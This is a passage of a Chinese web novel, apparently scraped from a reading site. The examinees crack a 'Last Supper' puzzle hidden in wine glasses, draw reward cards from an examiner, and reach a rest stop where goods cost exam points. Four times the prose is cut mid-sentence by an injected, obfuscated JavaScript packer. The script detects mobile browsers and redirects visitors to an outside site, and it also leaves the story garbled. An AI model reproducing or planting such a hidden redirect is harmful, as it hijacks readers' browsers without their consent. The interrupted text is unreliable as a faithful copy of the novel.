默不作声看了有一分钟吧,他们老大终于开了金口:“我是死了么,你这么守灵一样看着我?” 154:“……” 秦究瞥了他一眼:“有什么话就说。” 154斟酌了一下,说:“我只是想说……如果见过的话,那位什么违规干什么的先生应该会认出我们。” 秦究的视线又回到了游惑身上。 片刻后,他“嗯”了一声。 154说得没错,如果真的见过,不会是现在这种反应。 总不至于随便来个人都跟他一样少一段记忆,哪来那么巧的事。 · 922在厨房转了两圈,最终选择转移阵地。 他回到沙发旁,跪在地上开行李箱,从里面拿出一只烤架,又拿出一盒切好的牛肉。刚打开盒盖,就听见餐桌旁于闻一声惊叫:“哥你别冲动!!” 三位监考转头看去,刚好看到游惑拿起猎人甲握着的杯底,顺手在桌沿一敲。 就听咔嚓一声。 杯底又断了一截…… 922手一抖,牛肉泼了一裤腿。 他拎着残留的半盒,问154:“四次违规能把他吸纳成同事么?我不想再给他当监考了。” 154:“……” 谁想谁傻比。 11. 最后的晚餐 考生们吓了一跳,老于急得直跳脚:“你!你怎么又!不是说了不能损坏餐具不能损坏餐具吗,你……哎!” 游惑捏着杯底观察,头也不抬地说:“我有分寸。” 922:“……” 你摸着良心再说一遍你有什么??? 一个违规当饭吃的人好意思说自己有分寸,要脸吗? 屋里安静了好几秒。 几乎所有人都觉得游惑又违规了,他们神情忐忑地盯着答题墙,等它刷出第四条违规通知。 没人知道连续四次违规会遭到怎样的处罚。有秃头发疯在前,他们也不敢想象。 某个瞬间,答题墙的通知区域似乎红了一下,可一眨眼又恢复了原样。 它就这么红了白、白了红,反复跳了几次,最终居然一个字都没有显示出来。 154看醉了。 922还在旁边添油加醋:“感觉系统都要憋死了……” 最终,打破寂静的还是游惑本人。 他把敲断的杯底递给于闻,说:“看看里面有没有东西,我眼睛不舒服。” 于闻跪在地上,慌得一批:“哥,损坏餐具算违规……” 游惑让开灯火,闭了一会儿眼睛,嗓音冷淡地说:“你哪只眼睛看到我损坏餐具了?” 于闻举着磕断的玻璃,心说我瞎了吗? 游惑:“题目说了现在一共12套餐具,数数会么?” 于闻:“……” 游惑:“我教你?” 于闻:“……” 众人安静片刻,恍然大悟。 是啊!题目上明明白白写着“猎人的小屋里只剩下12位客人和12套餐具”,那12套餐具都整整齐齐放在木桌上,标了号,一个不少。哪里会包含摔碎的这只? 不管考试系统是不是无意的,它已经从餐具里除名了,二次损坏又有什么关系呢? “哥,你是我爸爸!” 于闻瞬间复活,兴冲冲地举起半个杯底对着光。 老于正想给他脑门一下,刚抬手,就听于闻“咦”了一声说:“别说!好像真有!” 高脚酒杯的底座是个微凹的圆,上面支着用来抓握的细长杯脚。不过,柱状的杯脚被游惑磕断了一截,不那么平整。 于闻在油灯和炉火的映照下变换角度,把自己拗成了蜘蛛精,然后叫道:“就这个角度!从这里看过去!真的有东西!” 考生们呼啦一下围过来,头挤着头,却找不对距离和角度。 “究竟什么东西?在哪儿呢?” 纹身男努力片刻,终于放弃:“看见什么了?能不能直说!” 于闻:“我要能看清,用得着这么扭着吗?” 他正要跟纹身男吵一架,肩膀就被人拍了两下。 “我看一下。” 说话的是游惑。 他闭目养神缓了一会儿,眼睛似乎好受了一点,从于闻手里拿走了杯底。 “挪,你这样,从这里看。”于闻老老实实把玻璃转了个角度,指着玻璃柄和圆形底座相接的地方,说:“这里是不是有东西?我感觉像是嵌了一张图片。但内容看不清,模模糊糊的,不知道是画了什么还是写了字。” 游惑“哦”了一声,干脆利落又是一敲。 咔嚓一声,细柄和底座从相连的地方断裂,整整齐齐,就好像这里本就很容易碎。 “有东西!”于闻接住那个从连接处飘落下来的东西,供祖宗一样供在手心。 众人定睛一看,真的是一张薄薄的圆片,比豌豆粒大不了多少。在游惑砸碎玻璃前,它应该就贴在细柄底下。 它的背面一片空白,像微缩的镜面。 正面则写着微缩的字母: SimontheZealot 老外Mike轻声念了出来。 两位老太太皱出满脸褶子:“啥?” Mike:“……” 老太太:“……” 不会用中文解释,真是要了狗命。 愣神间,有人低声说:“最后的晚餐。” “咒谁呢你?”纹身男怒目而视。 说话的是那个病恹恹的竹竿,他总是一副说话都累的模样,安静得近乎抑郁。事情没少做,但存在感很低。 这是第一次,所有人都等着他发话。 而大家想了好一会儿,才记起来他叫周进。 周进有气无力地白了纹身男一眼,说:“我说的是达芬奇的名画《最后的晚餐》。” 纹身男还想再开口。 周进怕他再问出“达芬奇是谁”这种糟心问题来,赶紧转移目光,看着游惑说:“SimontheZealot,画里12门徒之一。” “12门徒你都会背啊?”于闻发出学渣的叫声。 周进咳嗽了片刻,轻声说:“我学美术的,刚好了解一点。” 又是晚餐,又是12,这些关键字眼都和屋里的情景完美契合。 虽然几位老人对《最后的晚餐》不太了解,但连那对上小学的双胞胎小姑娘都叫了个名字:“犹大!” “对啊!犹大!”于遥和于闻不是姐弟,胜似姐弟,相继附和着。 最后的晚餐,12门徒里的犹大作为举世闻名的叛徒,在这里散发出答案的味道。 大家顿时亢奋起来。 然而刀都拎起来了,大家又猛地反应过来:“不对,不是写名字!” 长木桌上,每套餐具都有相应的编号。写在答案墙上的,不该是“犹大”这个名字,而是那只藏有“犹大”的杯子所对应的数字。 脾气最急的纹身男又冲到了餐桌边,拿起一只高脚杯看了起来。 他刚刚亲眼看到,那个写着鸟语的纸片是从细柄和底座的连接处掉下来的。可他拿着杯子,上下左右全方位盯了一遍,也没能看到纸片内容。 纹身男眼珠都快贴在杯壁上了:“我为什么看不见?” 其实不止是他,大家之前就检查过这些杯子,如果一眼就能看到藏着的字,还用等到现在? 所有人都知道名字藏在哪里,可他们看不见。 而这些杯子,跟地上那只不一样,它们不能摔不能断,不能像之前游惑所做的那样,直接把底座磕开。 于闻忽然一拍脑袋:“我知道了!” “什么?” “折射啊!”于闻说,“我跟于遥姐写的折射就在这里!名字藏在杯子里,咱们看不见,就是因为……呃……折射得不对!我忘了怎么形容了,反正我好像做过这样的题。” 众人:“……” 这倒霉孩子的形容就很令人绝望。 看他那不流畅的比划,让人很难相信他知道题目怎么做。 即便如此,大家还是抱了最后一丝希望:“那要怎么才能看见?” 于闻一脸羞愧:“我……高二高三就不学物理了,那题少说也有两三年了,我……忘了。” “……” 就特么知道! · 游惑面无表情地看着于傻子瞎比划。 他本打算再容忍一会儿,结果余光瞥到了监考官们。 922已经拖了个炭盆,开始支铁架了。那残余的半盒宝贝牛肉被他小心地排列在烤架上。 154绷着脸,时不时觑他一眼。不知是饿了,还是难以忍受同事的智障。 至于那位001……他都不用动,坐在那里就是大写的挑衅和嘲讽。 游惑收回目光,一把拽下猎人甲腰间的钥匙,抬脚便进了厨房。 写着名字的薄纸贴在高脚杯的脚心,透过玻璃折射出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730162|189627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。正常的角度看不清怎么办呢? 那就让它再折一道。 游惑在厨房翻箱倒柜,却没有找到能用的水。猎人甲口口声声说要有酒,但他端出来的却是空空的酒杯。 整个厨房唯一的液体,是蜿蜒在地上的血水。 就这,还快晾干了。 越是难找的东西,越是关键。 这几乎变相告诉游惑,答案的关键就在这了。 他拎着钥匙从厨房出来,在屋里扫视一圈,目光最终落在了隔壁。 那只挂着公鸡的房门是这里唯一没有打开过的。他二话不说挑出最后一把钥匙,插·进锁眼一拧。 咔哒一声,房门应声而开。 陈旧的灰尘味扑面而来,游惑抵住鼻尖,伸手扇了两下。 面前的房间狭小得像个杂物室,但里面并没有堆放扫帚拖把,只有一个孤零零的木架,架子上斜放着孤零零的酒。 众人围聚过来,游惑拿出酒瓶,说:“找到了。” 于闻这个马后炮一拍大腿:“对对对!加水!我想起来了!” 瓶盖一拔,浓烈而刺鼻的劣质酒气布满了整个小屋。 这是猎人的美餐中最重要的一样,但他永远都没机会开饭了。 游惑往1号高脚杯里倒入浅琥珀色的酒液,所有人都伸头看着杯口,屏住呼吸。 “诶真的真的!看到了!!!”酒鬼老于最为积极,第一个叫出来。 杯子里藏着又一个名字: Matthew 周进也激动起来:“马太!没错了,就是《最后的晚餐》,赶紧把犹大找出来吧!” 众人缓缓一动,12只杯子一一斟了酒。 门徒的名字也一个接一个浮现出来: Bartholomew John Thomas Philip …… 当他们斟到11号的时候,钉在12号座位上的秃头一直在抖。 现在只有两个名字还没出现,刚巧是这幅巨作中最重要的两位,犹大和耶稣。 如果11号出现耶稣的名字,那么犹大就藏在他面前的杯子里,而他就会成为那位被诅咒的客人,很有可能会死在这里。 秃头怕得快要吐了,即便是在禁闭室,即便看到那些支离破碎的血肉,他也没到这种程度。 因为那些血肉毕竟是别人的,而现在,快死的却是他自己。 突然,人群爆发出一阵欢呼。 周进的声音夹在里面:“Judas!犹大!” 秃头愣了半晌,瘫软在桌上。 是11号! 万幸!犹大在11号杯子里! 不是他!不是报应…… · 答题的刀被塞到周进手里,他露出了进屋后的第一个微笑,“我来吗?行吧,我来……” 周进在答题墙前站定,握着刀柄深吸一口气,然后在墙上刻下了“1” 就在他正要落笔,刻下第二个“1”的时候,一个人影突然从后面抄过来,抓住他的手腕。 “不对,差点被误导。” 周进愕然转头,就见游惑站在他旁边,冷静地说:“不是11,是12。” 最后的晚餐,最终被钉上十字架受难的人是耶稣。坐在那个位置上,才是被诅咒的客人。 犹大只是背叛者而已。 · 12这个数字端端正正刻在了答题墙。 游惑放下刀的时候,安静许久的收音机忽然滋滋响了起来。 【检测到标准答案。】 【考生提前交卷,本场考试顺利结束】 【稍后清算最终惩罚与奖励。】 提前35小时22分11秒的交卷,感受一下。 12. 下山 本场考试一共四小题: (1)未知(5分) (2)未知(5分) (3)用餐人数由13位变为12位(6分) (4)找到被诅咒的餐具(8分) 常规情况下,本题共计24分,特殊情况下,有额外加减分的机会。 · 答题墙上刷出了新内容,众人轻声议论着。 “前面还有两题未知呐?” “是啊,咱们一上来就拿了第三小题的分,前面两题应该都跳过去了。” “不,先拿的明明是解的分。” “……” “看顺序,解字那2分占的好像是未知题里的分数。” “我跟于遥姐的踩点分,可能也算在未知里。” “看来前两题都是铺垫?” “会不会是由猎人甲触发的?” “也许吧,谁知道呢,反正我也不想知道。” 猎人甲的意外死亡导致两道小题没刷出来,成为了永久的未知。 那两道小题一共十分,占比不少,但没人觉得遗憾。 如果不是因为游惑在场,他们第一次收卷就会有人祭天,之后更是难说。48小时下来,死5、6个人都有可能。 这种情况下,谁还在意答题机会呢?题目少难度低才是他们的追求。 活着就是万幸。 · 答题墙还在核算分数: 解字2分、折射率踩点3分、第(3)题6分、附加2分、卷面-2分,第(4)题8分。 共计19分,超出本题平均分数11分。 共计用时12时37分49秒,相较于平均用时,节省了35小时22分11秒。 于闻“嚯”了一声,对游惑说:“那要这么算,平均用时就是48小时?” 154监考官快听不下去了,“48小时才是正常的。” 你们克制一点,不要太膨胀可以吗? 但他转念一想,就这短短12小时,还得刨去游惑睡觉的三小时,被迫打扫外加恶心人的三小时…… 也就是说,如果不算关禁闭的时间,这些人,不,某考生6小时不到就能考完? 这叫人??? · 不是人的游惑得到了相应的奖励。 答题墙缓缓刷出一条通知: 奖励:考生游惑获得抽签权两次。 “抽签权?”游惑皱起眉。 他不知道这考试又在搞什么名堂,反正答题墙是短暂地死了。说完“以资鼓励”,它便重归安静,再没蹦出一个字。 疑惑间,屋里响起“叮咚”一声,就像谁收到了新消息。 游惑感觉身后忽然站了人,一只手擦着他的脸颊从后面伸过来,筋骨修长的手指松松地拎着一只扑克牌纸盒,在他眼前晃了晃。 游惑瞬间瘫了脸:“又是你……” “看到手指就知道是我了?” 监考官001说话一贯的漫不经心,听得游惑想打人。 秦究笑着后撤一步,刚好让开游惑的手。 “偷袭在我这不管用。”秦究拆了纸盒,把里面一套卡牌拿出来说:“先把签抽了。” 众人闻言都围了过来。 但他们始终很怕秦究,总觉得他就算笑起来也不代表友好和亲近。 于是他们箍了个直径四米的圈,脚不动,只伸头。 秦究手里的牌背面一模一样,正面则写着不同内容,有几张非常吸引人。比如: >总分加15(单人) >总分加10(全体) >免考(单人单场,按平均成绩计分) …… 还有一些很奇葩的,比如: >一张小抄 >临时抱佛脚 …… 看名字大家都知道是什么意思。但具体怎么操作,对考试有多大帮助,就很难说了。 除了这些明显是奖励的,卡牌里还混杂着很多令人哭笑不得的东西。 游惑一眼扫过去,起码有十来张写着同样的内容: >优秀考生,再接再厉。 >三好学生,以资鼓励。 >名列前茅,特此表扬 反正他是不能理解,在这种鬼地方拿奖状有什么用。 翻译一下可能就是:谢谢惠顾,欢迎再来。 游惑指着其中几张最特别的卡面问:“黑卡什么意思?惩罚?” 那几张卡正面全黑,一个字也没有,看着就不像正经好卡。 秦究抽了一张出来,在游惑面前翻着面展示了一下,拖着调子说:“不算惩罚,但确实有点特殊,至少不能算常规的奖励。” “一张黑卡,代表一次考制改革,当天生效。” 几位年轻人的脸顿时就绿了。 “这特么还有改革呢?”于闻尤其绿得浓郁。 他高中三年饱受改革摧残,改革的风声吹到哪里,他们的复习计划就改到哪里。今天还是3加2,明天2就改成算等级。 万万没想到,他高考都熬完了,改革还是躲不掉。 就在众人脸色难看的时候,秦究又倒了倒纸盒,从里面拿出最后一张牌说:“差点漏了,还有这张,你们应该非常喜欢。” >保送(单人) 小屋里安静片刻,陡然响起嗡嗡议论。 “这个保送……是我理解的意思么?”说话的是周进。 因为生病,他的情绪不能过于激动,成了那些酱油考生里唯一一个能平静问话的人:“这是指……不用考试?” 秦究还没说话,922先插了句嘴。他似乎特别喜欢这种介绍“保送卡”的时刻。 “这个看起来跟免考牌有一点相似。但免考牌呢,指的是某一门免考,按照考试平均成绩计分,只能说是一张非常安全的卡,中规中矩的奖励。” 922说:“保送卡不同,这是真正的王牌卡,一副牌里一张。抽到它就表示你直接通过了所有考试,可以好吃好喝睡一觉……” “等睁开眼,你就回家了。” 回家? 听到这个词,屋里所有考生几乎都愣住了。 这是12个小时里,他们最不敢想的事情。活命都要靠同伴和运气,谁还敢奢望回家呢? 但现在,这张保送卡勾起了所有人回家的欲望。 老于壮着胆子问:“没有这张卡的话,我们要多久才能回去?” 922想了想说:“看现在的考试制度吧。考完规定科目,分数达标,满足这两个条件就可以。” 老于还想说什么,秦究已经把保送卡连同其他牌一起收拢,玩扑克一样洗了两次牌,然后背面朝上捻成扇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730163|189627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形对游惑说:“来吧,两次机会,抓紧时间。” 游惑却没动,他转头冲其他人说:“谁运气好,来抽。” 刚说完,收音机沙沙出声: 【警告:考生不得转让抽签权。】 游惑:“……” “系统发的警告,瞪我干什么?”秦究抬了抬下巴,懒洋洋地说:“不要恃靓行凶,快抽。” 滚你妈的恃靓行凶。 游惑一张脸天寒地冻,他盯着秦究看了好几秒,重手重脚地扯了一张牌。 没抽牌的众人紧张极了,屏住呼吸盯着牌面。 游惑翻过来一看: >名列前茅,特此表扬。 注:这是对考生实力的肯定,望继续保持。 游惑:“……” 烦什么来什么,狗屁运气。 收音机不合时宜地哔哔: 【使用一次抽签权。】 秦究舌尖顶了顶腮帮,嘴角翘了一下:“还行,再来一次。” 游惑破罐子破摔,又扯了一张。 围观的于闻双手合十,不知在发什么功。但可能起了一点效果,至少这次不是鼓励卡。 游惑翻开卡片: >监考官的帮助 注:你出色的表现赢得了监考官的青睐,有权在考试期间向监考官提一次额外要求,监考官有义务满足你,有效期截止至下一场考试结束前。 “……” 游惑觉得这卡句句都是讽刺。 好在他及时复归冷静,问了秦究一句:“监考官每场都是固定的?” 秦究说:“当然不是,每开一场新的科目,监考官都会随机刷新。” · 收音机又沙沙说起话来: 【累计使用两次抽签权,抽签结束,恭喜。】 话音刚落,安静许久的答题墙又嘎吱嘎吱地刷出新内容: 惩罚:一位客人坐在了受诅咒的位置上,他避开了死亡,将成为新的猎人甲。 · 后半句刷出来的时候,大家看着文字,居然没理解它的意思。 或者说……没敢理解它的意思。 “什么叫成为新的猎人甲?”有人喃喃地说。 屋子里忽然响起凄厉的尖叫。 大家僵硬地转了脖子。 坐在12号位的秃头终于坐直了身体,他瞪大了眼睛,惊恐地看着自己的双手。 原本的肤色正迅速褪去,变成了泛着青灰的惨白。 他的嘴唇变得鲜红,在惨白皮肤的映衬下,以常人达不到的状态朝两边裂开。鬓角和手指也浮出了诡异的斑点。 秃头茫然地抬起头,愣了好一会儿,忽然扭着脖子僵硬地站了起来。 他的模样动作越来越像死去的猎人甲,只有表情还依稀保留着原本的惊恐。 “不行、不行、不行,不能这样……你们不能走!陪我,陪我一起吧好不好?” 他喃喃了两句,猛地朝众人扑过来。 呼—— 风雪呼啸而过,不知从哪里涌了过来,劈头盖脸吹得人睁不开眼。 他们下意识用手肘护住脸,等再睁开时,小屋没了,变成猎人甲的秃头男人也不见踪迹,就连三位监考官都消失了。 他们站在漫天的大雪里,面前是一片松林,隐约显露出一条下山的路。 13. 休息处 下山的路很长,大家走得异常沉默。 一半是被“秃头变成猎人甲”吓的,一半是被冻的。 这群人半扶半背地走了半小时,单调的景色终于有了变化。松林尽头豁然开朗,连接着山下的大路,路边斜立着一块界碑。 一面写着:鸡鸣山麓 另一面写着:向前100米 鸡鸣山这个名字,很容易让人想起猎人小屋挂着的死鸡,指的显然是他们下来的这座山。 但是向前100米指的是大路正前方…… 正前方雪雾蒙蒙,什么也看不清。 “向昂昂昂前100米是什么?下半截被诶诶诶雪埋了?”于闻嘴唇打抖,冻得像个结巴。 他两手塞在口袋里不愿意伸出来,用鞋刮了刮界碑上的雪。 大家问:“写了什么?” 于闻缩脚哆哆嗦嗦走回来:“土都欧欧欧冻硬了,刮不开。” 界碑上依然只有半截“向前100米”,除了更清晰外,没有丝毫变化。 “不会又是……”周进脸冻得像鬼,低声说。 于闻:“不不不会,刚熬过一场就来新嘤嘤嘤的,那不是逼咦咦咦人去死?” 众人沉默,脚步犹豫起来。 “死得还少了?”游惑扔了一句,走去了前面。 他的嗓音太适合风雪了,张口能冻人一个激灵。 大家打着寒噤面面相觑,连忙跟上他。 · 有游惑带路,大家根本走不慢。 没过一会儿,前方的雪雾中出现了房屋的轮廓。 猎人小屋的阴影还留在他们心里,所以看到房屋的瞬间,他们并没有很惊喜。 但大家很快发现,房屋不止一栋。 他们沿着一段缓坡走上去,发现前面稀稀拉拉站着几栋房屋。 说是小镇,那就太过夸大了。这就像一个冷门的山区景点,景区脚边有零星住户做点游客生意,一年也接待不了几位,时刻准备关门。 离他们最近的那栋房屋悬挂着灯箱,白底红字写着:住宿暖气餐饮。 重点突出,吸引力非常致命。 大家当即就走不动路了。 “咱们要不在这里凑合一宿?”老于语气很小心。 他以为自己会遭到游惑的冷眼反对,因为很难判断这里是否安全。 结果他外甥进门比谁都快。 · 游惑早就饿了。 在雪地里跋涉的时候,他最后悔的事就是交卷太快。 如果再慢几分钟,922的牛肉就能熟了。 只怪那位001号监考官太扎眼,搅了他到嘴的饭。 想到秦究那张脸…… 游惑摸了一下耳钉,心情极差。 于是,旅馆前台一抬头,看到的就是他神情冷恹的送葬脸。 前台:“……” 前台是个瘦猴似的小年轻,他安静两秒,转头就冲里面喊:“老板!来人了!” “喊魂啊?来人你不会招呼一下?”说话的是个女人,嗓音生脆,隔着门都能感觉到泼。 “我怕招呼跑了。”前台看了游惑一眼,讪讪地说。 “个鬼地方,能跑哪儿去你告诉我。”一楼走廊最里面的门开了,一位短发女人拎着菜刀就出来了。 前台吓一跳,连游惑都呆了一下。 “老板你干什么这是?” “哦,没事。”短发女人说:“今天不想吃饭堂,跟对面要了点菜肉,自己做点。” 她把菜刀垂下,冲游惑笑说:“哟,大帅哥!刚考完?小胡给登记一下。” 有老板撑底气,前台小胡这才冲游惑说:“报一下名字好吗?我看看你们得住几天。” 老于他们搓着手进门,听见两人的话,脸色当时就不好了。 “刚考完?你们怎么知道我们……” 老板挑起秀眉,笑得像个山妖怪:“这话真是稀奇了,麻烦看看这行字好吧?” 她用刀背咣咣敲着墙,前台小胡识趣地让开一步,露出完整的墙皮,上面写着: 考生休息处。 考生休息处???? 众人脸色更难看了。 周进喃喃说:“我以为……” 老板见怪不怪地说:“以为自己离进城不远了是吧?正常,你们第一次进休息处吧?都这样。” 老于问:“还有,什么叫看看我们得住几天?住几天不是我们自己说了算?” 老板笑得更厉害了:“想得美。” 老于:“……” “行了,不开玩笑!”老板说,“哪场考试结束应该休息几天,都是有规定的。不是你们想待多久就待多久。别在这耗着了,赶紧把名字报一报,都堵门口算怎么回事儿。” 纹身男一听不乐意了,露出了市莽气:“操,住个**!明摆着要命的店,你们谁特么爱住谁住去,我走了!” 谁知老板比他更莽。 她手里菜刀往前台一插,小胡一蹦三尺高。 “走,不走是孙子。”老板指着门外对纹身男说。 纹身男:“……” 他怒目圆瞪,把衣领裹紧,拉链头咬在嘴里,转头就走了。 · 住宿登记登出了一股江湖气。 其他众人看着前台的菜刀,走也不是留也不是,只有游惑面不改色地报了姓名。 小胡噼里啪啦敲着键盘,说:“查到了,你们这次一共有7天的休息时间。从现在——” 他转头看了一眼墙上的挂钟:“下午3点12分算起,7天后下午3点12分自动退房。这是你的房卡。” 游惑接过房卡。 这卡正面写着房间号,游惑在404。 老板勾头看了一眼,补充道:“哦对了,我们这里没有什么数字避讳,所以分到诸如404、414之类的……那都是命,别太较真。毕竟不住带4的,也不代表考试不会死,是吧?” 她一句话,把所有人的脸都安慰绿了。 游惑头也不抬,把房卡翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她冲天花板指了指:“除了饭点,根本不出门。饭点都不一定出,吃东西只扒两口就饱了。要么发呆要么哭。” “三个人?他们考什么?进去的时候几个人?”于闻问。 “跟你们一样啊。”楚月用理所当然的语气说:“最近在我这入住的,都考的同一场。” 于闻:“……同一场?猎人甲那个?只剩三个人?” 楚月说:“三个人是有点少,但多的也就五六个吧,人家那才是常态。” “你接待过多少组?”于闻想起秃头变成的猎人甲,搓了搓自己的鸡皮疙瘩说:“那岂不是有很多猎人甲?” 楚月说:“当然不是,我所说的同一场,就是指同一个考场。他们结束考试离开那里,你们才有可能进去。” 她压低嗓音,神秘兮兮地说:“知道么?有的考场里啊,还能找到以往考生的痕迹呢。上次听说有人捡了一节手指骨,还有人捡到过戒指。” “你们可以试试哦。” 14. 十字路口 人真是承受力极强的生物。 第二天,大家就适应了考生休息处的生活。 这里虽然不是城镇,但比起猎人小屋,实在好太多了。 有饭吃,有觉睡,出门不会死,也不会有两只鸡追着你提醒要收卷。 休息处对面有间屋子,三层高,挂着厚重的塑料门帘。塑料泛黄,早就不透明了,只隐约露出一圈白炽灯光。 屋子外挂着木牌,写着“仓买”。 “仓买是什么?”双胞胎小姑娘异口同声地问。 老于对孩子挺有耐心,解释说:“就是杂货铺,啥啥都卖。以前没见过吗?” 不仅小姑娘,好几个人都摇着头说:“我们那边不这么叫。” “是么?”老于嘀咕。 他多长了个心眼,跟着大家去买东西的时候,拽着店主强行聊了两句,发现对方居然真的是老乡。 仓买店主姓赵,是个很不热情的老乡。 “老哥,我就管你叫老哥了啊。”老于不见外地说。 店主赵顶多四十,肯定比老于年轻,身材结实,脊背板直。但他居然不要脸地把这声“老哥”认下了,叼着烟,半死不活地说:“随意。” 老于说:“老哥离家挺多年了吧?口音都没了,我口音就算轻的,你比我还轻。要不是看到仓买俩字儿,我都不敢认。” 赵嘴里烟直喷:“差不多吧。” “一直在这开店?” 赵:“算是。” 老于“哦”了一声,试探着问:“我看老哥你这站姿,以前当过兵吧?怎么来这开店了?” 赵终于从烟雾里睨了他一眼,说了个长句:“我没当过。不过看你站姿,以前是真当过兵吧?怎么胖成这样?” 老于:“……” 赵接连吸了几大口,把嘴里的烟抽得只剩屁股,碾着烟灰说:“别套近乎了,老乡那套在这里不管用。今天还泪汪汪的,完了明天没准儿就死了。” 老于:“……” “要买东西赶紧的,不买就走。”赵说着,又弹出一根新烟点上了。 · 仓买一楼烟雾缭绕,病号周进的肺都要咳出来了,也没放弃购物的机会。 因为店里东西比他们想象的多得多。 它更像一个外表破旧的综合大超市,衣服裤子棉被枕头,锅碗瓢盆杯勺筷子,跌打损伤内外用药,超市有的它都有,超市不一定有的它也有,把三层小楼填得满满当当。 每层都摆着几个购物车,落了一层灰。 大家人手一个,随便一擦就开始疯狂扫货,活像鬼子进村。 “等等,这些东西都没有标价呀!”于闻突然叫道。 周进拿了几瓶止咳露,又裹了一堆消炎止疼药,说:“早发现了,咳咳……这就跟旅游景点一样,价格肯定是翻倍的。” “趁着大家都怕死,疯狂宰客嘛,太正常了。”大家附和着。 谁都知道这个道理,但谁都没少拿。 钱能换命的时候,也就不心疼了。 于闻还是觉得有点不对。他推着车四处找哥,在三楼角落找到了游惑。 令他惊讶的是,游惑也在扫货。 “哥,你居然也推了个车?”于闻跟过去。 游惑闻言瞥了他一眼,那表情就像在说“你这放的哪门子屁?” 于闻讪讪地摆手说:“没事,我就看看……” 既然连他哥都在买东西,那应该没什么问题。 于闻顿时放下心来,翻了翻游惑的购物车。 他本以为会看见一堆应急用具,比如什么电筒、电池、绳子、刀具…… 结果…… 这位大佬拿了一套换洗衣物,一只黑色背包。 没了。 “呃……哥,你还拿别的吗?”于闻问。 游惑在衣架里排了排,拿了一件黑色羽绒服扔进购物车:“差不多就这些。” 于闻突然觉得,拿了一堆荧光棒、电筒、电池的自己……像个演唱会黄牛。 · 他们回到一楼的时候,大家已经挑得差不多了,连人带车围着结账的柜台。 游惑不爱挤,远离人群,百无聊赖地等在墙边。 打头的老太太问店主:“就这么些,你算下钱。” 赵叼着不知第几根烟,透过雾气扫了一眼五花八门的购物车,意味不明地哼笑了一声说:“一看就是头一回。” 大家不明所以。 赵:“一般人来这里,最多敢挑这个数。” 他竖起两根手指头。 “什么意思老哥?两样?”老于问。 赵:“嗯,这就是我见过最大方的了。” 这他妈得多贵? 众人默默看了眼自己堆成山的购物车,周进终于没忍住问道:“……可以微信支付宝么?刷卡也行。现金没带多少。” 于闻附和:“我都一年没取过现金了。” 赵:“微信支付宝刷卡都不行。” 周进和于闻先丧了气。 赵又说:“现金也不行。” 于闻:“哈?那用什么?” 赵从柜台玻璃下面摸出一张卡,长得跟他们人手一张的小旅馆房卡一模一样。 “你们都有这个吧?刷这个。”赵弹了弹卡面,好像之前没表现出来的热情,都攒在这一刻了。他笑着说:“房卡背面不是准考证么?上面有累计得分吧?我这儿的东西啊,都得拿分买。” “也不贵,日常用品包括衣物每样0.5,食物药品每样1分,至于刀这种开了刃能当武器的,每样2分,非常好记。你们要不自己先算算价?” 众人当场愣住,脸色煞白。 就他们那些满满当当的购物车,足以把分数买成负的。 周进看着一车药物,当即呛了一口凉气,咳得撕心裂肺。 怪不得…… 怪不得那些购物车都落了灰,怪不得最大方的人也只拿两样。 手里的分数都是战战兢兢拿命挣的,谁也不敢说下一场会考成什么样。 如果在这里多买一两样,回头一结算,离及格刚好差1分,怕是要切腹。 赵对这种场面见怪不怪。 他刺激完人,又恢复成不冷不热的吊丧样,说:“来,结账。” 刚说完,柜台前围着的人齐齐往后退了两步。 “都不买?”等在墙边的游惑突然说。 所有人连同店主在内,都把目光投向他。 他直起身,把车推到柜台边,从牛仔裤口袋里掏出房卡递给赵:“结账。” 赵:“……” 他张嘴看着游惑的购物车,烟屁股掉在鞋上。 游惑手指夹着卡等了一会儿,略有些不耐烦。 赵猛地回神,匆忙弹起一只脚,碾着烟屁股说:“我算一下——” 内外衣物加上牛仔裤、黑包、羽绒服,一共3分。 游惑听见结果,点了点头。 他似乎觉得预算还有富足,目光扫过老板背后的柜子,又说:“再拿一包烟、一个打火机。” 赵:“……” 于闻忍不住了:“哥你又不抽烟,买这个干嘛?” 游惑把衣物放进黑包,头也不抬地说:“以防万一。” 两分钟后,当游惑单肩背着背包回住处时,他准考证上的累计总分已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730165|189627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变成了15。以跳楼的速度,成了小组最低分。 于闻看着对方毫无变化的冷脸,觉得他哥真的刚。 · 